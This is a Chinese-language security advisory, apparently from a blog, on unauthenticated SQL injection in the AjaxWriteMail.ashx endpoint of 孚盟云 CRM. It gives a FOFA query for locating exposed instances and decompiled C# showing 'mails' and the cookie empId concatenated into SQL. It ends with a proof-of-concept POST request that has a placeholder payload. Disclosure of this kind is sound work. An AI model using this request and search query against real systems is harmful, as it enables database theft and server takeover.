孚盟云CRM AjaxWriteMail.ashx 多处SQL注入漏洞


漏洞简介

上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云AjaxWriteMail.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

app="孚盟软件-孚盟云"

漏洞分析

直接看 AjaxWriteMail.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 AjaxWriteMail 方法的实现如下

public void ProcessRequest(HttpContext context)
{
  try
  {
    if (UserCookie.GetCookieValue("empId") == null)
      return;
    string str1 = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(UserCookie.GetCookieValue("empId"));
    string str2 = context.Request["method"].ToString();
    string empty1 = string.Empty;
    string empty2 = string.Empty;
    StringBuilder builder = new StringBuilder();
    Hashtable hashtable = new Hashtable();
    string s = str2;
    // ISSUE: reference to a compiler-generated method
    switch (\u003CPrivateImplementationDetails\u003E.ComputeStringHash(s))
    {
      case 484109797:
        if (!string.op_Equality(s, "updateLastedContactTable"))
          break;
        string str3 = context.Request["mails"] == null ? "" : context.Request["mails"].ToString();
        if (string.IsNullOrEmpty(str3))
          break;
        string str4 = str3;
        char[] chArray = new char[1]{ ';' };
        foreach (string mail in str4.Split(chArray))
          this.updateLastedContactTable(mail, str1);
        break;

当method=updateLastedContactTable时,进入updateLastedContactTable方法

private void updateLastedContactTable(string mail, string empId)
{
  string empty1 = string.Empty;
  bool flag = false;
  string sql1;
  if (mail.IndexOf('@') > -1)
    sql1 = $"select 1 from tmLastedContact where ContactMailAddress = '{mail}' and OwnerID='{empId}'";
  else
    sql1 = $"select 1 from tmLastedContact where ContactEmpId = '{mail}' and OwnerID='{empId}'";
  DataTable dataTable1 = this._createPageManager.SearchSql(sql1, "");

empId和参数mails按照分号分割后被直接拼接进SQL语句中执行,期间无过滤或校验,从而造成SQL注入漏洞。empId参数是被直接拼接金SQL语句,也是注入点。

getContactList、saveCategory、GetCustInfo、excetSpLastTrackInfo、SendMail_send和SendMail方法也存在同样的拼接导致的SQL注入漏洞。

漏洞复现

POST /m/Dingding/Ajax/AjaxWriteMail.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"SQLI_POC","corpId": "1"}
Content-Type: application/x-www-form-urlencoded

method=updateLastedContactTable&mails=SQLI_POC


手机扫码阅读

金和OA ApproveRemindSetExec.aspx XXE漏洞

普华Powerpms Transfer.aspx 未授权访问致信息泄漏漏洞

评 论